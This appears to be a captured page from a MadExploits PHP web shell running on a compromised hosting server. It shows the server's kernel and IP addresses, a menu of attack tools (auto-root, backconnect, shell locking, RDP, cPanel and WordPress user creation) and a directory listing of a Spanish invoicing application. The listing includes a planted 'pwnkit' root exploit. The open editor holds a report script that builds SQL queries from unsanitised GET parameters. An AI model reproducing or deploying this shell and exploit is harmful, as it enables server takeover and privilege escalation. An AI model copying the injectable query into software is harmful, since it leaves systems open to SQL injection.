Linux server-604606.appsiete.com 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
Apache
: 162.240.172.200 | : 216.73.216.32
14 Domain
7.3.33
gujo45me
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
gujo45me /
public_html /
demo2 /
pdf /
[ HOME SHELL ]
Name
Size
Permission
Action
PDF417
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
image
[ DIR ]
drwxr-xr-x
letras
[ DIR ]
drwxr-xr-x
phpexcel
[ DIR ]
drwxr-xr-x
phpmailer
[ DIR ]
drwxr-xr-x
phpqrcode
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
ComprobanteDeliveryCorreo.php
12.86
KB
-rw-r--r--
comprobante.pdf
124.92
KB
-rwxrwxrwx
comprobante_delivery.pdf
117.74
KB
-rwxrwxrwx
config.php
479
B
-rw-r--r--
enviaCorreo.php
24.32
KB
-rw-r--r--
enviaCorreoNota.php
22.84
KB
-rw-r--r--
imprimeA4.php
22.5
KB
-rw-r--r--
imprimeDeliveryA4.php
11.45
KB
-rw-r--r--
imprimeDeliveryTicket.php
10.35
KB
-rw-r--r--
imprimeGuia.php
16.88
KB
-rw-r--r--
imprimeGuiaTransportista.php
17.87
KB
-rw-r--r--
imprimeGuiaTransportista2.php
17.33
KB
-rw-r--r--
imprimeHistorialTicket.php
9.76
KB
-rw-r--r--
imprimeNotaA4.php
19.58
KB
-rw-r--r--
imprimeProformaA4.php
11.89
KB
-rw-r--r--
imprimeProformaTicket.php
11.57
KB
-rw-r--r--
imprimeReciboA4.php
11.63
KB
-rw-r--r--
imprimeReciboTicket.php
10.67
KB
-rw-r--r--
imprimeTicket.php
20.13
KB
-rw-r--r--
listaClientes.php
4.9
KB
-rw-r--r--
listaGuia.php
6.01
KB
-rw-r--r--
listaProductos.php
5.48
KB
-rw-r--r--
listaProveedores.php
4.74
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
reporteBajas.php
5.59
KB
-rw-r--r--
reporteCompras.php
5.96
KB
-rw-r--r--
reporteComprobantes.php
23.34
KB
-rw-r--r--
reporteContingencias.php
23.47
KB
-rw-r--r--
reporteDelivery.php
5.75
KB
-rw-r--r--
reporteDeudores.php
6.58
KB
-rw-r--r--
reporteEgresos.php
5.14
KB
-rw-r--r--
reporteGuias.php
8.05
KB
-rw-r--r--
reporteHistorialProducto.php
12.83
KB
-rw-r--r--
reporteKardex.php
10.14
KB
-rw-r--r--
reporteKardex_pedidos.php
10.16
KB
-rw-r--r--
reportePedidos.php
5.76
KB
-rw-r--r--
reporteProductoPersonal.php
7.22
KB
-rw-r--r--
reporteProductosComprados.php
7.79
KB
-rw-r--r--
reporteProductosPedidos.php
9.4
KB
-rw-r--r--
reporteProductosVencidos.php
8.07
KB
-rw-r--r--
reporteProductosVendidos.php
10.08
KB
-rw-r--r--
reporteProductosVendidosTodo.p...
9.06
KB
-rw-r--r--
reporteSire_ventas_excel.php
20.6
KB
-rw-r--r--
reporteSire_ventas_txt.php
10.32
KB
-rw-r--r--
reporteStock.php
7.43
KB
-rw-r--r--
reporteTipoImpuesto.php
5.93
KB
-rw-r--r--
reporteUsuarios.php
11.66
KB
-rw-r--r--
reporteUsuariosPedido.php
6.32
KB
-rw-r--r--
reporteVentas.php
6.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : reporteEgresos.php
<?php include("config.php"); require_once("phpexcel/PHPExcel.php"); if (PHP_SAPI == 'cli') die('Este archivo solo se puede ver desde un navegador web'); // Se crea el objeto PHPExcel $objPHPExcel = new PHPExcel(); $id_local = $_GET['id_local']; $fecha1 = $_GET['fecha1']; $fecha2 = $_GET['fecha2']; $conexion = new mysqli($db_host,$db_user,$db_pass,$db_name); if (mysqli_connect_errno()) { printf("La conexión con el servidor de base de datos falló: %s\n", mysqli_connect_error()); exit(); } $consulta = 'SELECT u.nombres as nombres, u.apellidos as apellidos, e.* , e.created_at as fecha FROM egresos e INNER JOIN usuarios u ON e.id_usuario = u.id_usuario WHERE (e.created_at >= "'.$fecha1.' 00:00:00" AND e.created_at <= "'.$fecha2.' 23:59:59") AND e.id_local= "'.$id_local.'" ORDER BY e.created_at ASC'; $resultado = $conexion->query($consulta); if($resultado->num_rows > 0 ){ // Propiedades del documento $objPHPExcel->getProperties()->setCreator("Seven") ->setLastModifiedBy("Seven") ->setTitle("Reporte de EGRESOS") ->setSubject("Reporte de EGRESOS") ->setDescription("Reporte de EGRESOS") ->setKeywords("office 2010 openxml php") ->setCategory("Archivo con resultado de reporte"); // Combino las celdas desde A1 hasta F1 $objPHPExcel->setActiveSheetIndex(0)->mergeCells('A1:H1'); $objPHPExcel->setActiveSheetIndex(0) ->setCellValue('A1', 'REPORTE DE EGRESOS ENTRE : '.$fecha1.' & '.$fecha2) ->setCellValue('A2', 'ITEM') ->setCellValue('B2', 'TIPO') ->setCellValue('C2', 'CONCEPTO') ->setCellValue('D2', 'DESCRIPCION') ->setCellValue('E2', 'FECHA DE REGISTRO') ->setCellValue('F2', 'COMPROBANTE') ->setCellValue('G2', 'NUMERO') ->setCellValue('H2', 'MONTO S/') ->setCellValue('I2', 'USUARIO QUE REGISTRO EGRESO'); // Fuente de la primera fila en negrita $boldArray = array('font' => array('bold' => true,),'alignment' => array('horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER)); $objPHPExcel->getActiveSheet()->getStyle('A1:I2')->applyFromArray($boldArray); //Ancho de las columnas $objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(8); $objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(15); $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setWidth(25); $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setWidth(60); $objPHPExcel->getActiveSheet()->getColumnDimension('E')->setWidth(30); $objPHPExcel->getActiveSheet()->getColumnDimension('F')->setWidth(20); $objPHPExcel->getActiveSheet()->getColumnDimension('G')->setWidth(15); $objPHPExcel->getActiveSheet()->getColumnDimension('H')->setWidth(15); $objPHPExcel->getActiveSheet()->getColumnDimension('I')->setWidth(60); $i = 3; //Numero de fila donde se va a comenzar a rellenar $suma = 0; $j = 1; while ($fila = $resultado->fetch_array()) { $objPHPExcel->setActiveSheetIndex(0) ->setCellValue('A'.$i, $j) ->setCellValue('B'.$i, utf8_encode($fila['tipo_egreso'])) ->setCellValue('C'.$i, utf8_encode($fila['concepto'])) ->setCellValue('D'.$i, utf8_encode($fila['descripcion'])) ->setCellValue('E'.$i, $fila['fecha']) ->setCellValue('F'.$i, utf8_encode($fila['tipo_comprobante'])) ->setCellValue('G'.$i, utf8_encode($fila['numero_comprobante'])) ->setCellValue('H'.$i, $fila['monto']) ->setCellValue('I'.$i, utf8_encode($fila['nombres'].' '.$fila['apellidos'])); $i++; $j++; $suma = $suma+$fila['monto']; } $objPHPExcel->setActiveSheetIndex(0)->setCellValue('G'.$i, "TOTAL"); $objPHPExcel->setActiveSheetIndex(0)->setCellValue('H'.$i, $suma); $objPHPExcel->getActiveSheet()->getStyle('G'.$i)->getFont()->setBold(true); $objPHPExcel->getActiveSheet()->getStyle('H'.$i)->getFont()->setBold(true); $objPHPExcel->getActiveSheet()->getStyle('H3:H'.$i)->getNumberFormat()->setFormatCode('0.00'); $i = $i-1; $H = "I".$i; $rango = "A2:$H"; $styleArray = array('font' => array( 'name' => 'Arial','size' => 10), 'borders'=>array('allborders'=>array('style'=> PHPExcel_Style_Border::BORDER_THIN,'color'=>array('argb' => 'FFF'))) ); $objPHPExcel->getActiveSheet()->getStyle($rango)->applyFromArray($styleArray); // Cambiar el nombre de hoja de cálculo $objPHPExcel->getActiveSheet()->setTitle('Reporte de Egresos'); // Establecer índice de hoja activa a la primera hoja , por lo que Excel abre esto como la primera hoja $objPHPExcel->setActiveSheetIndex(0); // Se manda el archivo al navegador web, con el nombre que se indica, en formato 2007 header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'); header('Content-Disposition: attachment;filename="Reporte_Egresos.xlsx"'); header('Cache-Control: max-age=0'); $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007'); $objWriter->save('php://output'); exit; } else{ print_r('No hay resultados para mostrar'); }
Close